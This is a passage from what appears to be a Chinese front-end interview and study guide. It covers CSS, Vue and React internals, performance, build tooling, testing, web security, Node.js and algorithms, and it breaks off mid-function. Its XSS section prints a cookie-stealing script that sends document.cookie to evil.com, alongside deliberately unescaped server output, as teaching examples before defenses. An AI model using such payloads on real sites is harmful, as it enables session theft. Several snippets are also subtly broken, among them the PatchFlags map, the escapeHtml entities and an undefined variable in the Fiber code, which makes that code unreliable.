grid-area: header | sidebar | main | footer;
grid-column: 1 / 3; /* 从第1列到第3列(不包含) */
grid-row: 1 / 2;
grid-column-start: 1;
grid-column-end: -1;
/* 简写 */
grid-column: span 2;
grid-row: span 1;
}
4.3 CSS 动画
动画属性
/* 过渡 */
.element {
transition: property duration timing-function delay;
transition: all 0.3s ease-in-out;
transition: transform 0.5s, opacity 0.3s;
}
/* 关键帧动画 */
@keyframes slideIn {
from {
transform: translateX(-100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
.animated-element {
animation: slideIn 0.5s ease-out forwards;
animation-delay: 0.2s;
animation-iteration-count: infinite;
animation-direction: alternate;
}
/* 性能优化 */
.gpu-accelerated {
/* 使用 GPU 合成层 */
transform: translateZ(0);
will-change: transform;
backface-visibility: hidden;
}
五、Vue.js 深度原理
5.1 响应式系统
Vue 2 响应式原理
// Object.defineProperty 实现
function defineReactive(obj, key, val) {
const dep = new Dep(); // 依赖收集器
Object.defineProperty(obj, key, {
enumerable: true,
configurable: true,
get() {
// 收集依赖
if (Dep.target) {
dep.addSub(Dep.target);
}
return val;
},
set(newVal) {
if (val !== newVal) {
val = newVal;
// 通知更新
dep.notify();
}
}
});
}
// Observer:遍历所有属性,转换为响应式
function observe(value) {
if (typeof value !== 'object' || value === null) {
return;
}
return new Observer(value);
}
class Observer {
constructor(value) {
this.value = value;
this.dep = new Dep();
if (Array.isArray(value)) {
// 数组响应式处理
this.observeArray(value);
} else {
this.walk(value);
}
}
walk(obj) {
Object.keys(obj).forEach(key => {
defineReactive(obj, key, obj[key]);
});
}
}
// Watcher:观察者,触发更新
class Watcher {
constructor(vm, expOrFn, cb) {
this.vm = vm;
this.getter = parsePath(expOrFn);
this.cb = cb;
this.value = this.get();
}
get() {
Dep.target = this;
let value = this.getter.call(this.vm, this.vm);
Dep.target = null;
return value;
}
update() {
const oldValue = this.value;
this.value = this.get();
this.cb.call(this.vm, this.value, oldValue);
}
}
// Dep:依赖管理器
class Dep {
constructor() {
this.subs = [];
}
addSub(sub) {
this.subs.push(sub);
}
notify() {
this.subs.forEach(sub => sub.update());
}
}
Vue 3 响应式原理
// Proxy 实现
function reactive(target) {
return new Proxy(target, {
get(target, key, receiver) {
const result = Reflect.get(target, key, receiver);
// 依赖收集
track(target, key);
// 递归响应式
if (isObject(result)) {
return reactive(result);
}
return result;
},
set(target, key, value, receiver) {
const oldValue = Reflect.get(target, key, receiver);
const result = Reflect.set(target, key, value, receiver);
if (oldValue !== value) {
// 触发更新
trigger(target, key, value, oldValue);
}
return result;
},
deleteProperty(target, key) {
const hadKey = hasOwn(target, key);
const result = Reflect.deleteProperty(target, key);
if (hadKey && result) {
trigger(target, key);
}
return result;
},
has(target, key) {
track(target, key);
return Reflect.has(target, key);
}
});
}
// 依赖追踪系统
let activeEffect = null;
const targetMap = new WeakMap();
function track(target, key) {
let depsMap = targetMap.get(target);
if (!depsMap) {
targetMap.set(target, (depsMap = new Map()));
}
let dep = depsMap.get(key);
if (!dep) {
depsMap.set(key, (dep = new Set()));
}
dep.add(activeEffect);
}
function trigger(target, key, value, oldValue) {
const depsMap = targetMap.get(target);
if (!depsMap) return;
const effects = depsMap.get(key);
if (effects) {
effects.forEach(effect => effect());
}
}
// effect 函数
function effect(fn) {
activeEffect = fn;
fn();
activeEffect = null;
}
// ref 和 computed
function ref(value) {
return reactive({ value });
}
function computed(getter) {
let value = null;
let dirty = true;
const effectFn = effect(() => {
value = getter();
dirty = false;
});
return {
get value() {
if (dirty) {
effectFn();
}
return value;
}
};
}
5.2 虚拟 DOM 与 Diff
VNode 结构
// VNode 属性
{
__v_isVNode: true,
vnode: this, // 自身引用
key: null, // 唯一标识
type: VNodeType, // 组件类型
tag: string, // 标签名
props: object, // 属性
children: VNode[], // 子节点
component: Component, // 组件实例
el: Element, // 真实 DOM 引用
patchFlag: number, // 优化标志
dynamicChildren: [], // 动态子节点
// ...
}
Diff 算法详解
// Vue3 Diff 算法(双端比较)
function patchKeyedChildren(
oldChildren: VNode[],
newChildren: VNode[],
parentComponent: Component
) {
let i = 0;
let e1 = oldChildren.length - 1;
let e2 = newChildren.length - 1;
// 1. 从头部开始比较
while (i <= e1 && i <= e2) {
const oldNode = oldChildren[i];
const newNode = newChildren[i];
if (isSameVNodeType(oldNode, newNode)) {
patch(oldNode, newNode, parentComponent);
} else {
break;
}
i++;
}
// 2. 从尾部开始比较
while (i <= e1 && i <= e2) {
const oldNode = oldChildren[e1];
const newNode = newChildren[e2];
if (isSameVNodeType(oldNode, newNode)) {
patch(oldNode, newNode, parentComponent);
} else {
break;
}
e1--;
e2--;
}
// 3. 新节点比老节点多
if (i > e1) {
while (i <= e2) {
// 挂载新节点
patch(null, newChildren[i], parentComponent);
i++;
}
}
// 4. 老节点比新节点多
else if (i > e2) {
while (i <= e1) {
// 卸载老节点
unmount(oldChildren[i]);
i++;
}
}
// 5. 中间部分需要详细比较
else {
const keyToNewIndexMap = new Map();
for (let j = i; j <= e2; j++) {
const key = newChildren[j].key;
keyToNewIndexMap.set(key, j);
}
// ... 核心 diff 逻辑
}
}
PatchFlag 优化
// PatchFlags
const PatchFlagNames = {
[1]: 'TEXT', // 文本节点
[2]: 'CLASS', // 类名
[3]: 'STYLE', // 样式
[4]: 'PROPS', // 属性(无动态 key)
[5]: 'FULL_PROPS', // 所有属性
[6]: 'HYDRATE_EVENTS', // 事件
[8]: 'CHILDREN', // 子节点
[16]: 'KEYED_FRAGMENT'], // 有 key 的片段
[-1]: 'NEED_PATCH', // 需要完整 patch
[-2]: 'DYNAMIC_SLOTS', // 动态插槽
[-3]: 'CUSTOM' // 自定义
};
// 编译器优化示例
// 模板:
// <div>{{ message }}</div>
// 编译后:
// h('div', { innerText: toDisplayString(message) }, null, PatchFlagNames.TEXT)
5.3 组件系统
组件实例生命周期
// Vue 3 组件实例
class Component {
constructor(props) {
this.props = props;
this.setup(); // 组合式 API
}
// 生命周期钩子
beforeCreate() {}
created() {}
beforeMount() {}
mounted() {}
beforeUpdate() {}
updated() {}
beforeUnmount() {}
unmounted() {}
errorCaptured() {}
// 渲染
render() {
return this.$slots.default?.();
}
}
// setup 函数
function setup() {
const count = ref(0);
const increment = () => count.value++;
return { count, increment };
}
provide/inject
// 祖先组件
const Parent = {
provide: {
theme: 'dark'
},
setup() {
const user = ref({ name: 'Alice' });
provide('user', user); // 响应式
provide('theme', 'dark'); // 非响应式
return () => h(Child);
}
};
// 后代组件
const DeepChild = {
inject: ['theme', 'user'],
mounted() {
console.log(this.theme); // 'dark'
console.log(this.user.name); // 'Alice'
}
};
// 带有默认值的 provide/inject
const Child = {
inject: {
theme: { from: 'theme', default: 'light' },
user: { from: 'user', default: () => ({}) }
}
};
5.4 编译原理
模板编译流程
// 1. 模板 → AST
const template = `<div class="container">
<h1>{{ title }}</h1>
<button @click="handleClick">Click</button>
</div>`;
// 解析为 AST
const ast = parse(template);
// AST 结构:
// - Element: div
// - Props: [class: "container"]
// - Children:
// - Element: h1
// - Interpolation: title
// - Element: button
// - Event: click → handleClick
// 2. AST → 渲染函数
function render(ctx) {
return h('div', { class: 'container' }, [
h('h1', toDisplayString(ctx.title)),
h('button', { onClick: ctx.handleClick }, 'Click')
]);
}
// 3. 渲染函数 → VNode
function h(type, props, children) {
return createVNode(type, props, children);
}
六、React 深度原理
6.1 组件与状态
组件类型
// 函数组件
function Welcome({ name }: { name: string }) {
return <h1>Hello, {name}</h1>;
}
// 类组件
class Welcome extends React.Component<{ name: string }> {
render() {
return <h1>Hello, {this.props.name}</h1>;
}
}
// HOC
function withLoading<T>(Component: React.ComponentType<T>) {
return function WithLoading({ isLoading, ...props }: T & { isLoading: boolean }) {
if (isLoading) return <Spinner />;
return <Component {...props as T} />;
};
}
// Render Props
class MouseTracker extends React.Component<{ render: (pos: { x: number; y: number }) => React.ReactNode }> {
state = { x: 0, y: 0 };
handleMouseMove = (e: MouseEvent) => {
this.setState({ x: e.clientX, y: e.clientY });
};
render() {
return (
<div onMouseMove={this.handleMouseMove}>
{this.props.render(this.state)}
</div>
);
}
}
// Hooks
function useWindowSize() {
const [size, setSize] = useState({ width: 0, height: 0 });
useEffect(() => {
const handleResize = () => {
setSize({ width: window.innerWidth, height: window.innerHeight });
};
window.addEventListener('resize', handleResize);
handleResize();
return () => window.removeEventListener('resize', handleResize);
}, []);
return size;
}
6.2 Fiber 架构
Fiber 节点结构
// Fiber 节点
{
// 类型信息
type: 'div' | Component,
// DOM 关联
stateNode: DOMElement | Component | null,
// 引用
ref: RefObject,
// 更新队列
updateQueue: UpdateQueue,
// 优先级
lanes: Lanes,
childLanes: Lanes,
// 副作用
flags: Flags,
subtreeFlags: Flags,
deletions: Fiber[],
// 链表结构
alternate: Fiber | null,
child: Fiber | null,
sibling: Fiber | null,
return: Fiber | null,
index: number,
// 状态和属性
memoizedProps: Props,
pendingProps: Props,
memoizedState: State,
// 模式
mode: TypeOfMode
}
Fiber 调度器
// 调度流程
function performUnitOfWork(unitOfWork: Fiber) {
const current = unitOfWork.alternate;
// 开始工作单元
let next = null;
if (unitWork.tag === HostRoot) {
next = updateHostRoot(unitOfWork);
} else if (unitWork.tag === HostComponent) {
next = updateHostComponent(unitOfWork);
} else {
next = processUpdateQueue(unitOfWork);
}
// 链表遍历
if (next !== null) {
return next.child;
}
// 回溯
let returnFiber = unitOfWork;
while (returnFiber !== null) {
completeUnitOfWork(returnFiber);
if (returnFiber.sibling !== null) {
return returnFiber.sibling;
}
returnFiber = returnFiber.return;
}
}
// Lane 模型(优先级调度)
const lanes = {
SyncLane: 0b0001, // 同步优先级
InputContinuousLane: 0b0010, // 连续输入
DefaultLane: 0b0100, // 默认
TransitionLane: 0b1000, // 过渡
IdleLane: 0b10000 // 空闲
};
6.3 协调算法
Reconciliation
// Diff 算法
function reconcileChildren(returnFiber, children) {
if (typeof children === 'object' && children !== null) {
// 多节点处理
const { shapeFlag } = child;
if (shapeFlag & ShapeFlags.ELEMENT) {
mountChild(fiber, child);
} else if (shapeFlag & ShapeFlags.TEXT) {
mountTextChild(fiber, child);
} else if (shapeFlag & ShapeFlags.ARRAY_CHILDREN) {
mountArrayChildren(fiber, child);
}
}
}
// 元素对比
function updateElement(returnFiber, currentFiber, element) {
if (currentFiber !== null) {
// 类型相同,复用
if (currentFiber.type === element.type) {
const existing = useFiber(currentFiber, element.props);
existing.ref = element.ref;
return existing;
}
// 类型不同,创建新节点
}
const newFiber = createFiberFromElement(element);
newFiber.return = returnFiber;
return newFiber;
}
6.4 Hooks 原理
useState
// React Hook 实现
let currentComponent = null;
let workInProgressHook = null;
function useState(initialState) {
const hook = updateWorkInProgressHook();
if (hook.memoizedState === null) {
hook.memoizedState =
typeof initialState === 'function'
? initialState()
: initialState;
}
const queue = hook.queue;
const setState = (action) => {
hook.memoizedState =
queue.lastRenderedState =
typeof action === 'function'
? action(hook.memoizedState)
: action;
scheduleUpdateOnFiber(fiber, lane);
};
return [hook.memoizedState, setState];
}
function updateWorkInProgressHook() {
if (workInProgressHook === null) {
workInProgressHook = fiber.memoizedState;
} else {
workInProgressHook = workInProgressHook.next;
}
return workInProgressHook;
}
useEffect
function useEffect(create, deps) {
const hook = updateWorkInProgressHook();
const prevDeps = hook.memoizedDeps;
// 检查依赖是否变化
if (prevDeps === null || !areHookInputsEqual(deps, prevDeps)) {
hook.memoizedState = pushEffect(
HookHasEffect | HookLayout,
create,
deps
);
} else {
hook.memoizedState = pushEffect(
HookLayout,
create,
deps
);
}
}
function pushEffect(tag, create, deps) {
const effect = {
tag,
create,
deps,
next: null,
destroy: null
};
// 添加到 fiber 的 updateQueue
// 在提交阶段执行
}
useRef
function useRef(initialValue) {
const hook = updateWorkInProgressHook();
if (hook.memoizedState === null) {
hook.memoizedState = {
current: initialValue,
__reactInternalInstance: fiber
};
}
return hook.memoizedState;
}
6.5 并发特性
useTransition
// 并发渲染
function SearchResults() {
const [isPending, startTransition] = useTransition();
const [query, setQuery] = useState('');
const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
startTransition(() => {
setQuery(e.target.value);
});
};
return (
<>
<input onChange={handleChange} />
{isPending ? <Spinner /> : <Results query={query} />}
</>
);
}
useDeferredValue
// 延迟值
function SearchResults({ query }) {
const deferredQuery = useDeferredValue(query);
return (
<ExpensiveList query={deferredQuery} />
);
}
七、性能优化
7.1 Core Web Vitals
核心指标
// LCP (Largest Contentful Paint)
// 最大内容绘制时间
new PerformanceObserver((entryList) => {
for (const entry of entryList.getEntries()) {
console.log('LCP:', entry.startTime);
}
}).observe({ type: 'largest-contentful-paint', buffered: true });
// FID (First Input Delay)
// 首次输入延迟
new PerformanceObserver((entryList) => {
for (const entry of entryList.getEntries()) {
console.log('FID:', entry.processingStart - entry.startTime);
}
}).observe({ type: 'first-input', buffered: true });
// CLS (Cumulative Layout Shift)
// 累计布局偏移
let clsValue = 0;
new PerformanceObserver((entryList) => {
for (const entry of entryList.getEntries()) {
if (!entry.hadRecentInput) {
clsValue += entry.value;
}
}
}).observe({ type: 'layout-shift', buffered: true });
7.2 加载优化
代码分割
// 动态导入
const HeavyComponent = React.lazy(() => import('./HeavyComponent'));
// 路由分割
const Dashboard = React.lazy(() => import('./routes/Dashboard'));
const Settings = React.lazy(() => import('./routes/Settings'));
function App() {
return (
<Suspense fallback={<Spinner />}>
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
</Routes>
</Suspense>
);
}
// 预加载
const PrefetchExample = () => {
const handleHover = () => {
import('./HeavyComponent').then(module => {
// 预加载完成
});
};
return <button onMouseEnter={handleHover}>Hover me</button>;
};
资源优化
<!-- 预加载 -->
<link rel="preload" href="/styles.css" as="style">
<link rel="preload" href="/script.js" as="script">
<!-- 预连接 -->
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://api.example.com">
<!-- 预获取 -->
<link rel="prefetch" href="/next-page.html">
<link rel="prerender" href="/next-page.html">
<!-- 关键 CSS -->
<style>
/* 内联首屏关键 CSS */
.critical { ... }
</style>
<!-- 异步加载非关键 CSS -->
<link rel="preload" href="/styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="/styles.css"></noscript>
7.3 运行时优化
React 优化
// React.memo
const MyComponent = React.memo<Props>(({ title }) => {
return <div>{title}</div>;
}, (prevProps, nextProps) => {
// 自定义比较逻辑
return prevProps.title === nextProps.title;
});
// useMemo
function ExpensiveComponent({ data, filter }) {
const processedData = useMemo(() => {
return data.filter(item => item.name.includes(filter));
}, [data, filter]);
return <List items={processedData} />;
}
// useCallback
function Parent() {
const [count, setCount] = useState(0);
const handleClick = useCallback(() => {
setCount(c => c + 1);
}, []);
return <Child onClick={handleClick} />;
}
// useTransition
function SearchResults({ query }) {
const [isPending, startTransition] = useTransition();
const filteredResults = useMemo(() => {
startTransition(() => {
// 这个操作可能被中断
return heavyFilter(query);
});
}, [query]);
}
Vue 优化
<script setup>
// v-once
const staticContent = computed(() => {
return <div v-once>{staticData}</div>;
});
// v-memo
const row = ref({
id: 1,
data: { ... }
});
<template>
<div v-memo="[row.id]">
<ExpensiveComponent :data="row.data" />
</div>
</template>
// keep-alive
<router-view v-slot="{ Component }">
<keep-alive :include="['Dashboard', 'Settings']">
<component :is="Component" />
</keep-alive>
</router-view>
</script>
7.4 内存优化
内存泄漏检测
// Chrome DevTools Memory 面板
// 1. 拍摄堆快照
// 2. 比较快照查找泄漏对象
// 3. 记录分配时间线
// 检测代码
class MemoryLeakDetector {
constructor() {
this.weakRefs = new Set();
}
track(obj, name) {
const ref = new WeakRef(obj);
this.weakRefs.add({ ref, name, timestamp: Date.now() });
return ref;
}
checkForLeaks() {
const now = Date.now();
this.weakRefs.forEach(({ ref, name, timestamp }) => {
if (ref.deref() === undefined) {
console.log(`Object ${name} was garbage collected`);
this.weakRefs.delete({ ref, name, timestamp });
}
});
}
}
常见泄漏场景
// 1. 全局变量泄漏
function badFunction() {
globalData = { ... }; // 不使用 var/let/const
}
// 2. 闭包泄漏
function createLeakyClosure() {
const largeData = new Array(1000000);
return function() {
return largeData.length;
};
}
// 3. 定时器泄漏
function componentDidMount() {
setInterval(() => {
this.doSomething();
}, 1000);
// 解决方案:在 componentWillUnmount 中清除
this.intervalId = setInterval(...);
}
function componentWillUnmount() {
clearInterval(this.intervalId);
}
// 4. 事件监听泄漏
function addEventListeners() {
window.addEventListener('resize', this.handleResize);
}
function removeEventListeners() {
window.removeEventListener('resize', this.handleResize);
}
// 5. Map/Set 无限增长
const cache = new Map();
function getCachedData(key) {
if (cache.has(key)) {
return cache.get(key);
}
const data = fetchData(key);
cache.set(key, data);
return data;
}
// 解决方案:使用 LRU 缓存或 WeakMap
7.5 虚拟列表
虚拟滚动实现
class VirtualList {
constructor(container, options = {}) {
this.container = container;
this.itemHeight = options.itemHeight || 50;
this.buffer = options.buffer || 5;
this.items = options.items || [];
this.scrollTop = 0;
this.visibleCount = Math.ceil(container.clientHeight / this.itemHeight);
this.init();
}
init() {
this.container.style.overflow = 'auto';
this.container.style.position = 'relative';
// 创建滚动区域
this.scrollArea = document.createElement('div');
this.scrollArea.style.height = `${this.items.length * this.itemHeight}px`;
this.scrollArea.style.width = '100%';
this.container.appendChild(this.scrollArea);
// 创建可见区域
this.visibleArea = document.createElement('div');
this.visibleArea.style.position = 'absolute';
this.visibleArea.style.top = '0';
this.visibleArea.style.left = '0';
this.visibleArea.style.right = '0';
this.container.appendChild(this.visibleArea);
this.container.addEventListener('scroll', () => this.onScroll());
this.render();
}
onScroll() {
this.scrollTop = this.container.scrollTop;
this.render();
}
render() {
const startIndex = Math.floor(this.scrollTop / this.itemHeight);
const endIndex = Math.min(
startIndex + this.visibleCount + this.buffer,
this.items.length
);
const offsetY = startIndex * this.itemHeight;
// 渲染可见项
const fragment = document.createDocumentFragment();
for (let i = startIndex - this.buffer; i < endIndex; i++) {
if (i >= 0 && i < this.items.length) {
const item = this.createItem(this.items[i], i);
item.style.transform = `translateY(${i * this.itemHeight}px)`;
fragment.appendChild(item);
}
}
this.visibleArea.innerHTML = '';
this.visibleArea.appendChild(fragment);
}
createItem(item, index) {
const element = document.createElement('div');
element.className = 'virtual-item';
element.style.height = `${this.itemHeight}px`;
element.style.position = 'absolute';
element.textContent = item.text || item;
return element;
}
}
八、工程化与构建
8.1 Webpack 深度
工作流程
// webpack.config.js 完整配置
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const TerserPlugin = require('terser-webpack-plugin');
module.exports = {
// 入口
entry: {
main: './src/index.js',
vendor: './src/vendor.js'
},
// 输出
output: {
path: path.resolve(__dirname, 'dist'),
filename: '[name].[contenthash:8].js',
chunkFilename: '[name].[contenthash:8].chunk.js',
publicPath: '/',
clean: true
},
// 模块解析
resolve: {
extensions: ['.js', '.jsx', '.ts', '.tsx', '.json'],
alias: {
'@': path.resolve(__dirname, 'src'),
'@components': path.resolve(__dirname, 'src/components')
},
modules: [path.resolve(__dirname, 'src'), 'node_modules']
},
// 模块规则
module: {
rules: [
{
test: /\.jsx?$/,
exclude: /node_modules/,
use: {
loader: 'babel-loader',
options: {
presets: [
['@babel/preset-env', { targets: '> 0.25%, not dead' }],
['@babel/preset-react', { runtime: 'automatic' }]
]
}
}
},
{
test: /\.tsx?$/,
use: 'ts-loader'
},
{
test: /\.css$/,
use: [
MiniCssExtractPlugin.loader,
'css-loader',
'postcss-loader'
]
},
{
test: /\.(png|jpg|gif|svg)$/,
type: 'asset/resource',
generator: {
filename: 'images/[name].[hash:8][ext]'
}
},
{
test: /\.(woff|woff2|eot|ttf|otf)$/,
type: 'asset/resource',
generator: {
filename: 'fonts/[name].[hash:8][ext]'
}
}
]
},
// 插件
plugins: [
new HtmlWebpackPlugin({
template: './public/index.html',
filename: 'index.html',
inject: 'body',
minify: {
collapseWhitespace: true,
removeComments: true
}
}),
new MiniCssExtractPlugin({
filename: '[name].[contenthash:8].css'
})
],
// 优化
optimization: {
minimize: true,
minimizer: [new TerserPlugin()],
moduleIds: 'deterministic',
runtimeChunk: 'single',
splitChunks: {
chunks: 'all',
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
priority: 10,
reuseExistingChunk: true
},
common: {
minChunks: 2,
priority: 5,
reuseExistingChunk: true
}
}
}
},
// 开发服务器
devServer: {
static: './dist',
hot: true,
port: 3000,
open: true,
proxy: {
'/api': 'http://localhost:4000'
}
},
// 性能
performance: {
hints: 'warning',
maxEntrypointSize: 512000,
maxAssetSize: 512000
},
// 模式
mode: 'production'
};
Plugin 开发
// 自定义 Plugin
class MyWebpackPlugin {
constructor(options = {}) {
this.options = options;
}
apply(compiler) {
// 编译前
compiler.hooks.beforeCompile.tapAsync('MyWebpackPlugin', (params, callback) => {
console.log('Before compilation');
callback();
});
// 编译完成
compiler.hooks.afterCompile.tap('MyWebpackPlugin', (compilation) => {
console.log('After compilation');
});
// 生成产物前
compiler.hooks.emit.tapAsync('MyWebpackPlugin', (compilation, callback) => {
const stats = compilation.getStats().toJson();
// 添加分析文件
compilation.assets['analysis.json'] = {
source: () => JSON.stringify(stats, null, 2),
size: () => stats.assets.length
};
callback();
});
}
}
// Loader 开发
function myLoader(source) {
// Loader 必须返回字符串
const result = transform(source, this.options);
return result;
}
// 异步 Loader
function asyncLoader(source) {
const callback = this.async();
transformAsync(source, this.options, (err, result) => {
if (err) return callback(err);
callback(null, result);
});
}
8.2 Vite 原理
开发模式
// Vite 开发服务器
// 1. 拦截浏览器模块请求
// 2. 按需编译
// 3. 返回处理后的模块
// 请求流程
// 浏览器: import './App.js'
// ↓
// Vite: 拦截请求,读取 ./App.js
// ↓
// 如果有依赖:递归处理依赖
// ↓
// 返回处理后的代码
// import.meta.glob, import sourcemap
Rollup 打包
// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
export default defineConfig({
plugins: [vue()],
build: {
lib: {
entry: path.resolve(__dirname, 'src/index.js'),
name: 'MyLib',
fileName: 'my-lib'
},
rollupOptions: {
external: ['vue'],
output: {
globals: {
vue: 'Vue'
}
}
},
minify: 'esbuild'
},
esbuild: {
jsx: 'automatic',
minify: true
},
server: {
fs: {
allow: ['..']
}
}
});
8.3 测试
Jest 配置
// jest.config.js
module.exports = {
testEnvironment: 'jsdom',
testMatch: ['**/__tests__/**/*.{js,jsx}', '**/*.test.{js,jsx}'],
transform: {
'^.+\\.(js|jsx)$': 'babel-jest',
'^.+\\.(ts|tsx)$': ['esbuild-jest', { sourcemap: true }]
},
moduleNameMapper: {
'^@/(.*)$': '<rootDir>/src/$1'
},
setupFilesAfterEnv: ['<rootDir>/jest.setup.js'],
coverageDirectory: 'coverage',
collectCoverageFrom: [
'src/**/*.{js,jsx,ts,tsx}',
'!src/**/*.d.ts'
],
testTimeout: 10000
};
测试示例
// 单元测试
describe('sum', () => {
it('adds two numbers', () => {
expect(sum(1, 2)).toBe(3);
});
it('handles negative numbers', () => {
expect(sum(-1, -2)).toBe(-3);
});
});
// Mock
jest.mock('./api');
import { fetchUser } from './api';
describe('UserProfile', () => {
beforeEach(() => {
jest.clearAllMocks();
});
it('fetches user data', async () => {
fetchUser.mockResolvedValue({ id: 1, name: 'Alice' });
const user = await fetchUser(1);
expect(fetchUser).toHaveBeenCalledWith(1);
expect(user.name).toBe('Alice');
});
});
// React Testing Library
import { render, screen, fireEvent } from '@testing-library/react';
describe('Button', () => {
it('calls onClick when clicked', () => {
const handleClick = jest.fn();
render(<Button onClick={handleClick}>Click me</Button>);
fireEvent.click(screen.getByText('Click me'));
expect(handleClick).toHaveBeenCalledTimes(1);
});
});
// Vue Test Utils
import { mount } from '@vue/test-utils';
import Button from './Button.vue';
describe('Button', () => {
it('emits click event', async () => {
const wrapper = mount(Button, { props: { label: 'Click me' } });
await wrapper.find('button').trigger('click');
expect(wrapper.emitted('click')).toBeTruthy();
});
});
九、网络安全
9.1 XSS 攻击与防御
攻击类型
// 1. 反射型 XSS
// URL: https://example.com/search?q=<script>alert('xss')</script>
app.get('/search', (req, res) => {
const query = req.query.q;
// 危险:不转义直接输出
res.send(`Search results for: ${query}`);
});
// 2. 存储型 XSS
// 用户提交包含恶意脚本的内容
// <script>document.location='http://evil.com?cookie='+document.cookie</script>
// 3. DOM 型 XSS
// 危险代码
document.innerHTML = userInput; // 不安全
// 安全代码
document.textContent = userInput; // 安全
防御策略
// 1. 输入验证
function validateInput(input) {
const schema = {
username: /^[a-zA-Z0-9_]{3,20}$/,
email: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
age: /^[0-9]+$/
};
return schema.test(input);
}
// 2. 输出编码
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
// 3. CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'");
next();
});
// 4. HttpOnly Cookie
app.use((req, res) => {
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
});
// React 自动转义
// Vue 自动转义(除了 v-html)
9.2 CSRF 攻击与防御
// CSRF Token
// 服务端生成并验证
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateToken();
}
res.locals.csrfToken = req.session.csrfToken;
next();
});
// 中间件验证
function validateCsrf(req, res, next) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}
// SameSite Cookie
res.cookie('session', sessionId, {
sameSite: 'strict' // 或 'lax'
});
9.3 其他安全问题
中间人攻击
// HTTPS 强制
app.use((req, res, next) => {
if (!req.secure) {
return res.redirect(`https://${req.hostname}${req.url}`);
}
next();
});
// HSTS
app.use((req, res, next) => {
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
点击劫持
// X-Frame-Options
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});
// CSP frame-ancestors
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
十、Node.js 与后端基础
10.1 事件循环
// Node.js 事件循环阶段
// 1. timers: setTimeout, setInterval
// 2. pending callbacks: I/O 回调
// 3. idle, prepare: 内部使用
// 4. poll: 获取新 I/O 事件
// 5. check: setImmediate
// 6. close callbacks: close 事件
// setImmediate vs setTimeout
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));
// I/O 操作后
fs.readFile(__filename, () => {
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));
});
// nextTick
process.nextTick(() => {
console.log('nextTick');
});
// 在当前阶段结束后执行,优先于所有异步操作
// queueMicrotask
queueMicrotask(() => {
console.log('microtask');
});
10.2 Streams
// Readable Stream
const readable = fs.createReadStream('file.txt', { encoding: 'utf8' });
readable.on('data', (chunk) => {
console.log(chunk);
});
readable.on('end', () => {
console.log('Stream ended');
});
// Writable Stream
const writable = fs.createWriteStream('output.txt');
writable.write('Hello, ');
writable.write('World!\n');
writable.end('Done');
// Transform Stream
const uppercase = new Transform({
transform(chunk, encoding, callback) {
this.push(chunk.toString().toUpperCase());
callback();
}
});
process.stdin.pipe(uppercase).pipe(process.stdout);
// 背压处理
const readable = getReadableStreamSomehow();
const writable = getWritableStreamSomehow();
readable.on('data', (chunk) => {
const ok = writable.write(chunk);
if (!ok) {
readable.pause();
}
});
writable.on('drain', () => {
readable.resume();
});
十一、算法与数据结构
11.1 常用数据结构
链表
class ListNode {
constructor(value = 0, next = null) {
this.value = value;
this.next = next;
}
}
class LinkedList {
constructor() {
this.head = null;
this.size = 0;
}
// 添加节点
append(value) {
const node = new ListNode(value);
if (!this.head) {
this.head = node;
} else {
let current = this.head;
while (current.next) {
current = current.next;
}
current.next = node;
}
this.size++;
}
// 反转链表
reverse() {
let prev = null;
let current = this.head;
while (current) {
const next = current.next;
current.next = prev;
prev = current;
current = next;
}
this.head = prev;
return this.head;
}
// 检测环
hasCycle() {
let slow = this.head;
let fast = this.head;
while (fast && fast.next) {
slow = slow.next;
fast = fast.next.next;
if (slow === fast) return true;
}
return false;
}
}
栈与队列
// 栈
class Stack {
constructor() {
this.items = [];
}
push(element) {
this.items.push(element);
}
pop() {
return this.items.pop();
}
peek() {
return this.items[this.items.length - 1];
}
isEmpty() {
return this.items.length === 0;
}
}
// 队列
class Queue {
constructor() {
this.items = [];
}
enqueue(element) {
this.items.push(element);
}
dequeue() {
return this.items.shift();
}
front() {
return this.items[0];
}
isEmpty() {
return this.items.length === 0;
}
}
// 优先队列
class PriorityQueue {
constructor() {
this.items = [];
}
enqueue(element, priority) {
const queueElement = { element, priority };
let added = false;
for (let i = 0; i < this.items.length; i++) {
if (queueElement.priority < this.items[i].priority) {
this.items.splice(i, 0, queueElement);
added = true;
break;
}
}
if (!added) {
this.items.push(queueElement);
}
}
dequeue() {
return this.items.shift()?.element;
}
}
11.2 排序算法
// 快速排序
function quickSort(arr, left = 0, right = arr.length - 1) {
if (left < right) {
const pivotIndex = partition(arr, left, right);
quickSort(arr, left, pivotIndex - 1);
quickSort(arr, pivotIndex + 1, right);
}
return arr;
}
function partition(arr, left, right) {
const pivot = arr[right];
let i = left - 1;
for (let j = left; j < right; j++) {
if (arr[j] <= pivot) {
i++;
[arr[i], arr[j]] = [arr[j], arr[i]];
}
}
[arr[i + 1], arr[right]] = [arr[right], arr[i + 1]];
return i + 1;
}
// 归并排序
function mergeSort(arr) {
if (arr.length <= 1) return arr;
const mid = Math.floor(arr.length / 2);
const left = mergeSort(arr.slice(0, mid));
